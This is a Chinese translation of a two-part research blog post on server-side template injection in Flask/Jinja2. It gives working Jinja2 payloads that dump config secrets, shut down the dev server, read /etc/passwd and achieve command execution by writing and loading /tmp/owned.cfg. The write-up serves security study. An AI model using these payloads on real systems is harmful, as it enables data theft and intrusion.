Exploring SSTI in Flask/Jinja2
Part1: https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
Part2: https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
Part 1
如果你從未聽過服務端模板注入(SSTI)攻擊,或者不太瞭解它是個什麼東西的話,建議在繼續瀏覽本文之前可以閱讀一下James Kettle寫的這篇文章。
作為安全從業者,我們都是在幫助企業做一些基於風險的決策。因為風險是影響和屬性的產物,所以我們在不知道一個漏洞的真實影響力的情況下,無法正確地計算出相應的風險值。作為一個經常使用Flask框架的開發者,James的研究促使我去弄清楚,SSTI對基於Flask/Jinja2開發堆疊的應用程式的影響有多大。這篇文章就是我研究的結果。如果你想在深入之前瞭解更多的背景知識,你可以檢視一下Ryan Reid寫的這篇文章,其中提供了在Flask/Jinja2應用中更多有關SSTI的資訊。
0x00 Setup
為了評估在Flask/Jinja2堆疊中SSTI的影響,讓我們建立一個小小的poc程式,程式碼如下。
#!python
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
在這段程式碼的背後,該開發者覺得為一個小小的404頁面建立一個單獨的模板檔案可能會有些愚蠢了,所以他就在404檢視功能當中建立了一個模板字串。該開發者想要回顯出使用者輸入的錯誤URL;但該開發者選擇使用字串格式化,來將URL動態地加入到模板字串中,而不是透過render_template_string
函式將URL傳遞進入模板內容當中。感覺相當合理,對不對?這是我見過最糟的了。
在測試這項功能的時候,我們看到了預期的效果。
看到這種情況大多數人馬上會想到XSS,他們的想法是正確的。在URL的尾部加上<script>alert(42)</script>
就觸發了一個XSS漏洞。
目的碼很容易被XSS,但是在James的文章中,他指出XSS很有可是SSTI的一個跡象。現在這種情況就是一個很好的例子。如果我們更加深入一點,在URL的末尾新增上{{ 7+7 }}
,我們可以看到模板引擎計算了數學表示式,應用程式在響應的時候將其解析成14
。
我們現在已經在目標應用程式中發現了SSTI漏洞。
0x01 Analysis
由於我們要得到一個可用的exp,下一步就是深入到模板環境當中,透過SSTI漏洞來尋找出可供攻擊者利用的點。我們修改一下poc程式中存在漏洞的預覽功能,如下所示。
#!python
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template,
dir=dir,
help=help,
locals=locals,
), 404
我們將dir
, help
,和locals
這些內建函式傳入到render_template_string
函式中,透過函式呼叫將其加入到模板環境中,從而使用它們透過漏洞進行內省,來發現模板程式上可利用的點。
讓我們稍微暫停一下,探討探討文件中關於模板內容是怎麼說的。這裡有幾個模板內容中物件的最終來源。
- Jinja globals
- Flask template globals
- 開發者自己新增的物件
我們最關心的是第1點和第2點,因為它們通常都是預設的設定,在我們發現存在SSTI的任何Flask/Jinja2堆疊程式中都是可用的。第3點是依賴於應用程式的,而且有很多種實現的方式。這篇stackoverflow discussion的討論當中就包含了幾個例子。雖然我們在這篇文章中不會深入地討論第3點,但這也是在程式碼審計相關Flask/Jinja2堆疊應用程式原始碼時必須要考慮到的。
為了使用內省繼續研究,我們的方法應當如下。
- 閱讀文件!
- 使用
dir
內省locals
物件,在模板內容中尋找一切可用的東西。 - 使用
dir
和help
深入瞭解所有的物件 - 分析任何有趣的Python原始碼(畢竟在堆疊中一切都是開源的)
0x02 Results
透過內省request
物件我們來進行第一個有趣的探索發現。request
物件是一個Flask模板全域性變數,代表“當前請求物件(flask.request
)”。當你在檢視中訪問request物件時,它包含了你預期想看到的所有資訊。在request
物件中有一個叫做environ
的物件。request.environ
是一個字典,其中包含和伺服器環境相關的物件。該字典當中有一個shutdown_server
的方法,相應的key值為werkzeug.server.shutdown
。所以猜猜看我們向服務端注入{{ request.environ['werkzeug.server.shutdown']() }}
會發生什麼?沒錯,會產生一個及其低階別的拒絕服務。當使用gunicorn執行應用程式時就不會存在這個方法,所以漏洞就有可能受到開發環境的限制。
我們第二個有趣的發現來自於內省config
物件。config
物件是一個Flask模板全域性變數,代表“當前配置物件(flask.config
)”。它是一個類似於字典的物件,其中包含了應用程式所有的配置值。在大多數情況下,會包含資料庫連線字串,第三方服務憑據,SECRET_KEY
之類的敏感資訊。注入payload{{ config.items() }}
就可以輕鬆檢視這些配置了。
不要認為在環境變數中儲存這些配置選項就可以抵禦這種資訊洩露。一旦相關的配置值被框架解析後,config
物件就會把它們全部包含進去。
我們最有趣的發現也來自於內省config
物件。雖然config
物件是一個類似於字典的物件,但它也是包含若干獨特方法的子類:from_envvar
,from_object
,from_pyfile
,以及root_path
。最後讓我們深入進去看看原始碼。以下的程式碼是Config
物件中的from_object
方法,flask/config.py
。
#!python
def from_object(self, obj):
"""Updates the values from the given object. An object can be of one
of the following two types:
- a string: in this case the object with that name will be imported
- an actual object reference: that object is used directly
Objects are usually either modules or classes.
Just the uppercase variables in that object are stored in the config.
Example usage::
app.config.from_object('yourapplication.default_config')
from yourapplication import default_config
app.config.from_object(default_config)
You should not use this function to load the actual configuration but
rather configuration defaults. The actual config should be loaded
with :meth:`from_pyfile` and ideally from a location not within the
package because the package might be installed system wide.
:param obj: an import name or object
"""
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
def __repr__(self):
return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))
我們可以看到,如果我們將字串物件傳遞給from_object
方法,它會將該字串傳遞給werkzeug/utils.py
模組的import_string
方法,該方法會從路徑中匯入名字匹配的任何模組並將其返回。
#!python
def import_string(import_name, silent=False):
"""Imports an object based on a string. This is useful if you want to
use import paths as endpoints or something similar. An import path can
be specified either in dotted notation (``xml.sax.saxutils.escape``)
or with a colon as object delimiter (``xml.sax.saxutils:escape``).
If `silent` is True the return value will be `None` if the import fails.
:param import_name: the dotted name for the object to import.
:param silent: if set to `True` import errors are ignored and
`None` is returned instead.
:return: imported object
"""
# force the import name to automatically convert to strings
# __import__ is not able to handle unicode strings in the fromlist
# if the module is a package
import_name = str(import_name).replace(':', '.')
try:
try:
__import__(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
reraise(
ImportStringError,
ImportStringError(import_name, e),
sys.exc_info()[2])
對於新載入的模組,from_object
方法會將那些變數名全是大寫的屬性新增到config
物件中。其中有趣的地方就是,新增到config
物件的屬性會保持原有的型別,這意味著透過config
物件,我們可以從模板內容中呼叫新增的函式。為了證明這一點,我們使用SSTI漏洞注入{{ config.items() }}
,可以看到當前的整個配置選項。
再注入{{ config.from_object('os') }}
,這下就會在config
物件中新增那些在os
庫中變數名全是大寫的屬性。再次注入{{ config.items() }}
,就可以發現新的配置選項。同樣也需要注意這些配置選項的型別。
現在透過SSTI漏洞,我們可以呼叫新增到config
物件中的任何可呼叫物件。下一步就是尋找可匯入模組的相關功能,再加以利用逃逸出模板沙盒。
以下的指令碼複製了from_object
和import_string
的功能,並分析整個Python標準庫中可匯入的專案。
#!python
#!/usr/bin/env python
from stdlib_list import stdlib_list
import argparse
import sys
def import_string(import_name, silent=True):
import_name = str(import_name).replace(':', '.')
try:
try:
__import__(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
raise
class ScanManager(object):
def __init__(self, version='2.6'):
self.libs = stdlib_list(version)
def from_object(self, obj):
obj = import_string(obj)
config = {}
for key in dir(obj):
if key.isupper():
config[key] = getattr(obj, key)
return config
def scan_source(self):
for lib in self.libs:
config = self.from_object(lib)
if config:
conflen = len(max(config.keys(), key=len))
for key in sorted(config.keys()):
print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))
def main():
# parse arguments
ap = argparse.ArgumentParser()
ap.add_argument('version')
args = ap.parse_args()
# creat a scanner instance
sm = ScanManager(args.version)
print('\n[{module}] {config key} => {config value}\n')
sm.scan_source()
# start of main code
if __name__ == '__main__':
main()
以下是指令碼使用Python 2.7執行後的簡短輸出,其中包括了大多數可匯入的有趣專案。
#!shell
(venv)macbook-pro:search lanmaster$ ./search.py 2.7
[{module}] {config key} => {config value}
...
[ctypes] CFUNCTYPE => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
...
[xml language=".dom.pulldom"][/xml] SAX2DOM => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml language=".etree.ElementTree"][/xml] XML => <function XML at 0x10d138de8>
[xml language=".etree.ElementTree"][/xml] XMLID => <function XMLID at 0x10d13e050>
...
在這裡,我們對一些有趣的專案使用我們的方法,以期望尋找逃逸模板沙盒的辦法。
總而言之,我沒能夠從這些專案中找到沙盒逃逸的辦法。但是為了共享研究,下面給出我對其研究的一些附加資訊。另外請注意,我沒有窮盡所有的可能性,還是有進一步研究的可能性。
ftplib
這裡我們有使用ftplib.FTP
物件的可能性,可以回連至我們控制的一臺伺服器,並且從受影響的伺服器上傳檔案。我們也可以從一臺伺服器上下載檔案到受影響的伺服器上,並且使用config.from_pyfile
方法執行相關內容。對ftplib的文件和原始碼分析表明,ftplib需要開啟檔案控制程式碼才能做到以上幾點,因為在模板沙盒中open
內建函式是禁止的,似乎並沒有建立檔案控制程式碼的方法。
httplib
這裡我們有使用httplib.HTTP
物件的可能性,可以使用檔案協議file://
來載入本地檔案系統上檔案的URL。不幸的是,httplib
不支援檔案協議處理程式。
xml.etree.ElementTree
這裡我們有使用xml.etree.ElementTree.XML
物件的可能型,可以使用使用者自定義的實體從檔案系統中載入檔案。然而,從這裡可以知道,etree
不支援使用者自定義的實體。
xml.dom.pulldom
雖然xml.etree.ElementTree
模組不支援使用者自定義的實體,但是pulldom
模組支援。然而我們還是受限於xml.dom.pulldom.SAX2DOM
類,因為其並沒有透過物件介面載入XML的方法。
0x03 Conclusion
雖然我們還沒有發現逃逸模板沙盒的方法,但我們已經在Flask/Jinja2開發堆疊中,確定SSTI漏洞的影響有所進展。我肯定這裡有些額外的挖掘工作需要去做,我打算繼續下去,但我也鼓勵其他人進行挖掘和探索。當我在研究中發現有意思的專案的時候,我會在這裡更新相關文章。
Part 2
最近我寫了一片文章,是關於在使用Flask/Jinja2開發堆疊的應用程式中,探索服務端模板注入攻擊(SSTI)的真實影響。我最初的目標是找到訪問檔案或作業系統的方法。雖然我之前是無法做到的,但是藉由一些facebook對於第一篇文章的反饋,我已經能夠實現我的目標了。本文就是我進一步研究的結果。
0x00 The Nudge
對於最初的那篇文章,Nicolas G發表瞭如下推文。
如果你稍微使用一下這個payload,你很快就會發現它是行不通的。其中有好幾個原因,我稍後會解釋一下。然而關鍵問題就在於,這個payload使用了幾個非常重要的內省元件,而在之前的研究中我們將其忽略了:__mro__
和__subclasses__
屬性。
宣告:以下的解釋都是處於一個較高的水平。我並不希望表現得我很瞭解這些元件的樣子。當我在處理一個語言或框架內部結構中的模糊部分時,大多數情況下我都只是嘗試一下,看它是否會像我預期的那樣做出反應,但我並不全知道結果背後的原因是什麼。我仍在學習這些屬性背後的緣由,但我還是想給你一些相關介紹。
__mro__
中的MRO代表方法解析順序,並且在這裡定義為,“是一個包含類的元組,而其中的類就是在方法解析的過程中在尋找父類時需要考慮的類”。__mro__
屬性以包含類的元組來顯示物件的繼承關係,它的父類,父類的父類,一直向上到object
(如果是使用新式類的話)。它是每個物件的元類屬性,但它卻是一個隱藏屬性,因為Python在進行內省時明確地將它從dir
的輸出中移除了(見Objects/object.c的第1812行)。
__subclasses__
屬性則在這裡被定義為一個方法,“每個新式類保留對其直接子類的一個弱引用列表。此方法返回那些引用還存在的子類”。
簡而言之,__mro__
讓我們到達當前Python環境中的繼承物件樹,而__subclasses__
又讓我們回來了。所以對於Flask/Jinja2的SSTI漏洞更好的利用會造成什麼影響呢?讓我們以新式的物件開始,例如字串型別,可以使用__mro__
達到繼承樹的頂端object類,然後再使用__subclasses__
,可以在Python環境中向下達到每一個新式物件。是的,這就使我們能夠訪問到當前Python環境中載入的每一個類。所以我們該如何利用這個新get的技能?
0x02 Exploitation
在這裡需要考慮一些事情。Python環境當中將會包括:
- 所有Flask應用程式產生的物件
- 目標程式自定義的物件
我們著眼於更普遍的漏洞利用,所以我們想要搭建儘可能接近原生態Flask的測試環境。我們嚮應用程式中匯入的庫和第三方模組越多,我們攻擊向量的普遍性就越小。我們之前的poc程式很適合用來測試,所以我們就繼續使用它。
我們將要做的就是,在不修改任何原始碼的情況下尋找一個exp向量。在之前的文章中,我們向漏洞中新增了一些功能來進行內省。但在這裡就不再是必須的了。
我們要做的第一件事就是,選擇一個新式物件,用它來訪問object
類。我們簡單地使用''
,一個空字串,物件型別為str
。然後我們就可以使用__mro__
屬性來訪問物件的父類。將{{ ''.__class__.__mro__ }}
作為payload注入到SSTI漏洞點當中。
可以看到返回了我們之前討論過的元組。因為我們要回退到object類,我們就使用索引2來選擇object類。現在我們到達了object類,我們使用__subclasses__
屬性來dump應用程式中使用的所有類。將{{ ''.__class__.__mro__[2].__subclasses__() }}
注入到SSTI漏洞點當中。
正如你所見,這裡輸出了很多東西。在我使用的目標程式中,有572個可用的類。這些會讓事情變得棘手,而且也是之前推特當中payload不能執行的原因。要記住,並不是每個應用程式的Python環境都是一樣的。我們的目標就是尋找有用的方法來訪問相關的檔案或作業系統。在所有的應用程式當中,不可能都使用類似於用subprocess.Popen
這樣不常見的類,換一種情況就有可能無法利用了,就像之前那個推特中的payload一樣,就我發現的而言,在原生態的Flask中這種payload是無法利用的。幸運的是,可用利用原生態Flask的特性來讓我們實現類似的行為。
如果你梳理了一下之前payload的輸出,你就會發現<type 'file'>
這個類。這是一個對檔案系統訪問的關鍵點。儘管open
是建立file
物件後的內建函式,但是file
類也能夠例項化檔案物件,而且如果我們例項化了一個檔案物件,那麼我們就可用使用類似於read
的方法來讀取相關內容。為了證明這一點,找到file
類的索引,在我的環境中<type 'file'>
類的索引是40,我們就注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
。
所以現在我們就證明了,透過Flask/Jinja2中的SSTI進行任意檔案讀取是有可能的,但是我們還沒有完全搞定。在這裡我的目標是遠端程式碼/命令執行。
在上一篇文章當中提到了好幾種config
物件的方法,可以將相關物件載入進入Flask的配置環境中。其中一個方法就是from_pyfile
方法。以下的程式碼是Config
類中的from_pyfile
方法,flask/config.py
。
#!python
def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.
:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to `True` if you want silent failure for missing
files.
.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
這裡有一對有意思的東西。最明顯的就是將一個檔案的路徑作為引數傳遞進去,並且針對檔案中的內容使用compile
函式。如果我們能向作業系統中寫檔案的話那事情就變得簡單了,不是嗎?嗯,正如我們剛才討論過的,我們可以做到!我們可以使用之前提到的file
類不僅去讀檔案,而且也可以向目標伺服器的可寫入路徑中寫檔案。然後我們再透過SSTI漏洞呼叫from_pyfile
方法去compile
檔案並執行其中的內容。這就是一個二次進攻。首先,將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}
注入到SSTI漏洞點。然後在透過注入{{ config.from_pyfile('/tmp/owned.cfg') }}
呼叫編譯過程。該程式碼在編譯時將會被執行。這就實現了遠端程式碼執行。
讓我來更深入地研究一下。雖然執行程式碼已經足夠了,但是我們為了執行每個程式碼塊必須經過多個步驟,這些過程是很乏味的。讓我們充分地利用from_pyfile
方法來達到我們預期的目的,並且向config物件中新增一些有用的東西。將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
注入到SSTI漏洞點。這就會在遠端伺服器上寫一個檔案,當其被編譯的時候,就可以從subprocess
模組中匯入check_output
方法,並將其設定成一個名為RUNCMD
變數。如果你回憶一下之前的文章,你就會知道因為RUNCMD
為一個大寫的變數名,就可以被新增到Flaskconfig
物件中。
注入{{ config.from_pyfile('/tmp/owned.cfg') }}
來將新的專案新增到config物件中。注意以下兩幅圖一前一後的差異。
現在我們就可以呼叫新的配置選項來執行遠端命令了。可以將{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
注入到SSTI漏洞點來進行證明。
遠端程式碼成功執行。
0x02 Conclusion
現在,我們可以進行Flask/Jinja2模板沙盒逃逸了,並且可以得出結論:SSTI在Flask/Jinja2環境中的影響是巨大的。
相關文章
- [Flask]SSTI 12024-11-15Flask
- flask:flask模板——使用Jinja22020-10-07Flask
- Flask SSTI利用方式的探索2021-09-29Flask
- Flask之Jinja2模板與Flask-WTF2022-02-28Flask
- Flask 使用Jinja2模板引擎2023-11-26Flask
- Flask(8)- jinja2 模板入門2021-07-12Flask
- Flask中Jinja2是什麼?2021-09-11Flask
- flask分頁功能:基於flask-sqlalchemy和jinja22021-12-04FlaskSQL
- SSTI2024-06-01
- BUUCTF SSTI模板注入2024-05-26
- 實驗說明 - ssti2024-07-24
- Jinja2小結2018-08-09
- jinjia2無回顯SSTI2024-11-27
- 137. Python語言 的 Flask框架專案前導 之 模板 第二章 :Jinja2 模板過濾器2020-12-21PythonFlask框架過濾器
- Ansible Jinja2 使用及示例2024-08-21
- 009.Ansible模板管理 Jinja22020-05-02
- 論文閱讀 Exploring Temporal Information for Dynamic Network Embedding2022-06-25ORM
- [WesternCTF2018]shrine(Jinja2模板注入)2024-07-19TF2
- 《Exploring in UE4》移動元件詳解[原理分析]2019-04-04元件
- 服務端模板注入攻擊 (SSTI) 之淺析2020-08-19服務端
- flask筆記:部署flask2018-03-07Flask筆記
- 【Django】將Django模板引擎更改為Jinja22018-03-15Django
- 《Exploring in UE4》遊戲角色的移動原理(上)2019-09-11遊戲
- 《Exploring in UE4》遊戲角色的移動原理(下)2019-09-12遊戲
- 《Exploring in UE4》網路同步原理深入(下):原理分析2019-05-15
- Flask系列教程(26)——Flask-Script2018-06-05Flask
- 【flask框架】——flask-restful風格2020-11-04Flask框架REST
- flask筆記:是flask.ext.sqlalchemy還是flask_sqlalchemy2019-02-16Flask筆記SQL
- Ubuntu 22.04 + Pycharm + Flask 配置 Flask 專案2024-08-03UbuntuPyCharmFlask
- flask中flask-restful是什麼?2021-09-11FlaskREST
- Python Flask Web教程001:Flask簡介2020-12-14PythonFlaskWeb
- 初始flask2024-06-07Flask
- 《Flask 入門教程》 第 2 章:Hello, Flask!2018-12-11Flask
- Flask01 第一個flask專案2022-05-10Flask
- 【python Flask】用uwsgi 啟動flask 服務方式2018-11-15PythonFlask
- Flask基本框架2018-06-13Flask框架
- Flask表單2018-06-01Flask
- Flask012024-04-04Flask